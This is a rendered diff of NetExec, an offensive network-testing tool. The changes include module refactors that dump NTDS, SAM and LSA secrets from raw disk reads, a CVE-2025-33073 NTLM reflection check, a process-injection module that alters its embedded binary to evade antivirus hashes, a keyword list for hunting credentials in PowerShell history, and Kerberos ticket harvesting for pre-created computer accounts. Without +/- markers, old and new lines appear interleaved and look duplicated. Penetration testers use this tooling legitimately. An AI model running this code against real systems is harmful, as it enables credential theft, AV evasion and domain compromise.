NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
for partition_indx in range(4):
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)])
if curr_partition_size > max_parition_size:
max_parition_size = curr_partition_size
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
self.NTFS_LOCATION = NTFS_LOCATION
@@ -148,127 +174,147 @@ class NXCModule:
self.read_MFT(MFT_file_header)
if self.number_of_file_to_extract != 0:
self.logger.fail("Unable to find all needed files")
return
self.logger.fail("Unable to find all needed files, trying to work with what we have")
self.logger.success("Heads up, hashes on the way...")
self.dump_ntds()
if "SYSTEM" in self.extracted_files_location_local and self.extracted_files_location_local["SYSTEM"] != "":
self.logger.success("Heads up, hashes on the way...")
self.dump_hashes()
else:
self.logger.fail("SYSTEM file not found, unable to proceed with hash extraction")
def dump_ntds(self):
def dump_hashes(self):
"""Dumping NTDS and SAM hashes locally from the extracted files"""
# Mostly from nxc/modules/ntdsutil.py
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
boot_key = local_operations.getBootKey()
no_lm_hash = local_operations.checkNoLMHashPolicy()
# SAM hashes
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
domain = self.domain
clean_hash = SAM_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
# NTDS
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
# NTDS hashes
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
def add_ntds_hash(ntds_hash, host_id):
"""Extract NTDS hashes"""
add_ntds_hash.ntds_hashes += 1
ntds_hash = ntds_hash.split(" ")[0]
self.logger.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, clean_hash = ntds_hash.split("\\")
else:
domain = self.domain
clean_hash = ntds_hash
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
add_ntds_hash.ntds_hashes = 0
add_ntds_hash.added_to_db = 0
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
NTDS = NTDSHashes(
self.extracted_files_location_local["ntds.dit"],
boot_key,
isRemote=False,
history=False,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
pwdLastSet=False,
resumeSession=None,
outputFileName=self.output_filename,
justUser=None,
printUserStatus=True,
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
)
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
try:
self.logger.success("NTDS hashes:")
NTDS.dump()
except Exception as e:
self.logger.fail(e)
SAM.finish()
NTDS.finish()
NTDS.finish()
# SAM hashes
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
def add_SAM_hash(SAM_hash, host_id):
"""Extract SAM hashes"""
add_SAM_hash.SAM_hashes += 1
SAM_hash = SAM_hash.split(" ")[0]
self.logger.highlight(SAM_hash)
if SAM_hash.find("$") == -1:
if SAM_hash.find("\\") != -1:
domain, clean_hash = SAM_hash.split("\\")
else:
domain = self.domain
clean_hash = SAM_hash
try:
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_SAM_hash.added_to_db += 1
return
raise
except Exception:
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
self.logger.debug("Dumped hash is a computer account, not adding to db")
add_SAM_hash.SAM_hashes = 0
add_SAM_hash.added_to_db = 0
SAM = SAMHashes(
self.extracted_files_location_local["SAM"],
boot_key,
isRemote=False,
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
)
try:
self.logger.success("SAM hashes:")
SAM.dump()
SAM.export(self.output_filename)
except Exception as e:
self.logger.debug(e)
SAM.finish()
# LSA
if "SECURITY" in self.extracted_files_location_local and self.extracted_files_location_local["SECURITY"] != "":
LSA = LSASecrets(
self.extracted_files_location_local["SECURITY"],
boot_key,
remoteOps=None,
isRemote=False,
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret)
)
try:
self.logger.success("LSA Secrets:")
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
self.logger.fail(e)
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
def analyze_NTFS(self, ntfs_header):
"""Decode the NTFS headers and extract needed infromation from it"""
ntfs_header = ntfs_header[0xB : 0xB + 25 + 48]
ntfs_header = ntfs_header[0xB: 0xB + 25 + 48]
header_format = "<HBH3BHBHHHIIIQQQIB3BQI"
data = struct.unpack(header_format, ntfs_header)
@@ -316,7 +362,7 @@ class NXCModule:
"""Analyze the current MFT records and extract the targeted files if they are present"""
MFT_record_indx = 0
for curr_record_indx in range(len(curr_data) // 1024):
curr_sector = curr_data[curr_record_indx * 1024 : curr_record_indx * 1024 + 1024]
curr_sector = curr_data[curr_record_indx * 1024: curr_record_indx * 1024 + 1024]
try:
curr_MFA_sector_properties = self.analyze_MFT_header(curr_sector)
if curr_MFA_sector_properties is None or curr_MFA_sector_properties.filename is None:
@@ -431,9 +477,9 @@ class NXCModule:
dataRun_len_nBytes = (dataRun[curr_datarun_indx] & 0b11110000) >> 4
curr_datarun_indx += 1
dataRun_len = dataRun[curr_datarun_indx : curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = dataRun[curr_datarun_indx: curr_datarun_indx + dataRun_startingCluster_nBytes]
dataRun_len = int.from_bytes(dataRun_len, byteorder="little", signed=False)
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes : curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_startingCluster = dataRun[curr_datarun_indx + dataRun_startingCluster_nBytes: curr_datarun_indx + dataRun_startingCluster_nBytes + dataRun_len_nBytes]
datarun_cluster_loc = int.from_bytes(datarun_startingCluster, byteorder="little", signed=True) + prev_datarun_loc
@@ -451,12 +497,12 @@ class NXCModule:
parsed_header = {}
while True:
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index : curr_index + 4])
curr_header = self.bytes_to_int_unsigned(curr_sector[curr_index: curr_index + 4])
if curr_header == 0xFFFFFFFF or curr_header is None:
break
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4 : curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index : curr_index + curr_header_len]
curr_header_len = self.bytes_to_int_unsigned(curr_sector[curr_index + 4: curr_index + 4 + 4])
parsed_header[self.ATTRIBUTE_NAMES[curr_header]] = curr_sector[curr_index: curr_index + curr_header_len]
curr_index = curr_index + curr_header_len
return parsed_header
@@ -473,13 +519,13 @@ class NXCModule:
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
if "$FILE_NAME" in parsed_header:
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58 : 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18 : 0x18 + 3] + b"\x00")
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2 : 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
curr_MFA_sector.filename = parsed_header["$FILE_NAME"][0x58 + 2: 0x58 + 2 + (filename_lenght * 2)].decode("utf-16")
if "$DATA" in parsed_header:
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20 : 0x20 + 1])
dataRun_offset = self.bytes_to_int_signed(parsed_header["$DATA"][0x20: 0x20 + 1])
dataRun = parsed_header["$DATA"][dataRun_offset:]
curr_MFA_sector.dataRun, curr_MFA_sector.size = self.decode_dataRun(dataRun)
@@ -518,7 +564,7 @@ class NXCModule:
for i in range(num_partition_entries):
entry_offset = i * partition_entry_size
partition_entry = partition_table_data[entry_offset : entry_offset + partition_entry_size]
partition_entry = partition_table_data[entry_offset: entry_offset + partition_entry_size]
partition_entries.append(partition_entry)
return partition_entries
+2 -1
View File
@@ -6,7 +6,7 @@ import time
from impacket.examples.secretsdump import LocalOperations, NTDSHashes
from nxc.helpers.logger import highlight
from nxc.helpers.misc import validate_ntlm
from nxc.helpers.misc import CATEGORY, validate_ntlm
class NXCModule:
@@ -19,6 +19,7 @@ class NXCModule:
name = "ntdsutil"
description = "Dump NTDS with ntdsutil"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
+84
View File
@@ -0,0 +1,84 @@
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.smbconnection import SessionError
from nxc.helpers.misc import CATEGORY
from impacket.nmb import NetBIOSError
class NXCModule:
# https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
# Modified by azoxlpf to handle BrokenPipe/transport errors gracefully
# Modified by Defte following the discovery of ctjf (https://github.com/Pennyw0rth/NetExec/issues/928) and the research done along side with @NeffIsBack and I
name = "ntlm_reflection"
description = "Attempt to check if the OS is vulnerable to CVE-2025-33073 (NTLM Reflection attack)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
# Reference table from MSRC report
# https://msrc.microsoft.com/update-guide/fr-FRS/vulnerability/CVE-2025-33073
MSRC_PATCHES = { # key = (major, minor, build), value = minimum patched UBR
(6, 0, 6003): 23351, # Windows Server 2008 SP2
(6, 1, 7601): 27769, # Windows Server 2008 R2 SP1
(6, 2, 9200): 25522, # Windows Server 2012
(6, 3, 9600): 22620, # Windows Server 2012 R2
(10, 0, 14393): 8148, # Windows Server 2016
(10, 0, 17763): 7434, # Windows Server 2019 / Win10 1809
(10, 0, 20348): 3807, # Windows Server 2022
(10, 0, 19044): 5965, # Windows 10 21H2
(10, 0, 22621): 5472, # Windows 11 22H2
}
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""No options available"""
def is_vulnerable(self, major, minor, build, ubr):
key = (major, minor, build)
min_patched_ubr = self.MSRC_PATCHES.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
self.context = context
self.connection = connection
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Reading UBR from registry
hRootKey = rrp.hOpenLocalMachine(dce)["phKey"]
hKey = rrp.hBaseRegOpenKey(dce, hRootKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion")["phkResult"]
ubr = rrp.hBaseRegQueryValue(dce, hKey, "UBR")[1]
version_str = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}.{ubr}" if ubr else None
dce.disconnect()
if not version_str:
self.context.log.info("Could not determine OS version from registry")
return
vuln = self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr)
if vuln:
if not connection.conn.isSigningRequired(): # Not vulnerable if SMB signing is enabled
context.log.highlight(f"VULNERABLE (can relay SMB to any protocol on {self.context.log.extra['host']})")
else:
context.log.highlight(f"VULNERABLE (can relay SMB to other protocols except SMB on {self.context.log.extra['host']})")
except SessionError as e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
self.context.log.info(f"RemoteRegistry is probably deactivated: {e}")
else:
self.context.log.debug(f"Unexpected error: {e}")
except (BrokenPipeError, ConnectionResetError, NetBIOSError, OSError) as e:
context.log.debug(f"ntlm_reflection: DCERPC transport error: {e.__class__.__name__}: {e}")
+2
View File
@@ -1,6 +1,7 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,6 +14,7 @@ class NXCModule:
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
+2
View File
@@ -1,6 +1,7 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import socket
@@ -13,6 +14,7 @@ class NXCModule:
name = "obsolete"
description = "Extract all obsolete operating systems from LDAP"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def ldap_time_to_datetime(self, ldap_time):
"""Convert an LDAP timestamp to a datetime object."""
+5 -1
View File
@@ -1,7 +1,11 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "petitpotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
@@ -16,4 +20,4 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+4 -2
View File
@@ -2,6 +2,7 @@ from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH, TMP_PATH
@@ -14,6 +15,7 @@ class NXCModule:
name = "pi"
description = "Run command as logged on users via Process Injection"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
r"""
@@ -28,13 +30,13 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
+4 -2
View File
@@ -1,5 +1,6 @@
from os import makedirs
from os.path import join, abspath
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from io import BytesIO
@@ -11,6 +12,7 @@ class NXCModule:
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
@@ -30,7 +32,7 @@ class NXCModule:
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
@@ -42,7 +44,7 @@ class NXCModule:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
+49 -59
View File
@@ -3,7 +3,7 @@ from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
@@ -16,79 +16,69 @@ class NXCModule:
name = "pre2k"
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
pass
"""No options available"""
def on_login(self, context, connection):
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
try:
ldap_connection = connection.ldap_connection
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
successful_tgts = 0
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
file.write(f"{computer}\n")
# Summary of TGT results
if successful_tgts > 0:
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
ldap_connection.close()
return True
successful_tgts = 0
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Summary of TGT results
if successful_tgts > 0:
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during LDAP connection: {e}")
return False
context.log.fail(f"Error occurred during search: {e}")
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
try:
+2
View File
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from contextlib import suppress
import traceback
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,6 +16,7 @@ class NXCModule:
name = "presence"
description = "Traces Domain and Enterprise Admin presence in the target over SMB"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""There are no module options."""
+5 -1
View File
@@ -1,7 +1,11 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "printerbug"
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -15,4 +19,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
Loaded 100 of 190 files, more files were not shown because too many files have changed in this diff. Show more